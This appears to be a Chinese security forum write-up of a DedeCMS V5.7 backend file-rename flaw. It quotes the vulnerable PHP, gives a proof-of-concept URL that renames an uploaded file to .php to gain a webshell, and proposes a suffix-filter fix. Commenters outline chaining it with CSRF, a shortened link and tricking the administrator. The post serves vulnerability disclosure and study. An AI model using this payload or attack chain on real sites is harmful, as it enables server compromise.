



Dedecms V5.7版本后台可实现对于文件的重命名，可将上传的任意文件重名为php文件，导致getshell。


该漏洞的逻辑比较简单，就从漏洞的入口文件开始看，漏洞的入口文件是dede/file\_manage\_control.php，其部分源码如下：

```
1 <?php
2 /**
3  * 文件管理控制
4  *
5  * @version      $Id: file_manage_control.php 1 8:48 2010年7月13日Z tianya $
6  * @package      DedeCMS.Administrator
7  * @copyright     Copyright (c) 2007 - 2010, DesDev, Inc.
8  * @license       http://help.dedecms.com/usersguide/license.html
9  * @link         http://www.dedecms.com
10 */
11 require(dirname(__FILE__)."/config.php");
12 CheckPurview('plus_文件管理器');
13 require(DEDEINC."/oxwindow.class.php");
14 require_once(DEDEADMIN.'/file_class.php');
15 $activepath = str_replace("../", "", $activepath);
16 $activepath = preg_replace("#^/{1,}#", "/", $activepath);
17 if($activepath == "/") $activepath = "";
18 if($activepath == "") $inpath = $cfg_basedir;
19 else $inpath = $cfg_basedir.$activepath;
20
21 // 文件管理器交互与逻辑控制文件
22 $fmm = new FileManagement();
23 $fmm->Init();
24
25 /*-----
26 function __rename();
27 -----*/
28 if($fmdo=="rename")
29 {
30     //var_dump($newfilename);die("aaa");
31     $fmm->RenameFile($oldfilename,$newfilename);
32 }
33
```



重点就在于这里的if，由于dede采取的是伪全局变量注册机制，导致在未经过滤的情况下我们可声明任意变量。在该文件中，前面只是简单的验证身份是否正确，并没有对变量进行过滤。跟进RenameFile方法，文件位于dede/file\_class.php：

```
//更改文件名
function RenameFile($oldname,$newname)
{
    $oldname = $this->baseDir.$this->activeDir."/". $oldname;
    $newname = $this->baseDir.$this->activeDir."/". $newname;
    //var_dump($oldname);die();
    if(($newname!= $oldname) && is_writable($oldname))
    {
        rename($oldname,$newname);
    }
    ShowMsg("成功更改一个文件名!", "file_manage_main.php?activepath=".$this->activeDir);
    return 0;
}
```



在这个方法中，对于传入的变量只是进行参数拼接操作，就是我们传入的参数前加上web服务的根目录的绝对路径。对于之后的变量没有任何过滤。导致我们可操作自行上传文件。

利用方式：

首先随便找个上传点，上传合法文件。获取上传之后的文件路径。

这里我找的是前台->会员中心->附件管理，从这上传一个zip文件，内容就是phpinfo()



可以在源码里看到上传文件的路径：



接下来构造触发重命名payload：

将文件路径的值填入oldfilename参数，这里注意不要加反斜杠  
newfilename的值就是我们要生成的木马文件的名称。（由于我的dede并不是放在web服务的根目录下，因此我这里需要加上dedecms/）  
fmdo构造为rename即可  
最终生成以下poc:

[http://localhost/dedecms2/dede/file\\_manage\\_control.php?fmdo=rename&oldfilename=dedecms2/uploads/userup/1/151QM125-42I.zip&newfilename=dedecms2/uploads/userup/1/151QM125-42I.php](http://localhost/dedecms2/dede/file_manage_control.php?fmdo=rename&oldfilename=dedecms2/uploads/userup/1/151QM125-42I.zip&newfilename=dedecms2/uploads/userup/1/151QM125-42I.php)  
执行之后访问：<http://localhost/dedecms2/wisdom.php>

PHP Version 5.4.45

<b>System</b>	Windows NT LAPTOP-1066GJSA 6.2 build 9200 (Windows 8 Home Edition) i586
<b>Build Date</b>	Sep 2 2015 23:45:53
<b>Compiler</b>	MSVC9 (Visual C++ 2008)
<b>Architecture</b>	x86
<b>Configure Command</b>	<pre> cscript /nologo configure.js "--enable-snapshot-build" "--disable debug-pack" "--without-mssql" "--without-pdo-mssql" "--witho pdo-oci=C:\php-sdk\oracle\instantclient10\sdk,shared" "--with-c sdk\oracle\instantclient10\sdk,shared" "--with-oci8-11g=C:\php- \instantclient11\sdk,shared" "--enable-object-out-dir=../obj/" "-- dotnet=shared" "--with-mcrypt=static" "--disable-static-analyze" </pre>

配合存储型xss可getshell。

修复方案：在file\_class.php中过滤\$newname参数，或者file\_manage\_control.php中过滤\$newfilename参数，判断文件后缀是否为php

点击收藏 | 0 关注 | 1

[上一篇 : SpringBoot应用监控Act...](#) [下一篇 : GitStack <= 2.3.1...](#)

### 1. 4 条回复



mochazz 2018-03-30 22:31:16

可以利用这个文件名任意修改的漏洞结合CSRF以及一点点社工手段打出组合拳。具体手法如下：

- 利用dede前台会员上传点上传文件，获取路径
- 构造攻击url
- 将一长长的恶意url变成短连接
- 社工网站管理员，让其点击
- 成功getshell

不过有一点不够隐蔽，就是在管理员点击链接后，会提示成功修改文件名，这个可能会引起细心的管理员的警觉。

0 回复Ta



[wisdomtree](#) 2018-04-02 15:18:46

啊。。。是这个道理，但是还是想说配合存储xss更强一点[@mochazz](#)

0 回复Ta

---



[knight110](#) 2018-04-03 13:15:18

最新版的可以吗，就是官网下载的

<http://www.dedecms.com/products/dedecms/downloads/>

DedeCMS V5.7 SP2正式版

发布日期：2018-01-09

0 回复Ta

---



[wisdomtree](#) 2018-04-04 20:45:46

[@knight110](#) 貌似我就是用最新版的进行测试2333

0 回复Ta

---

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)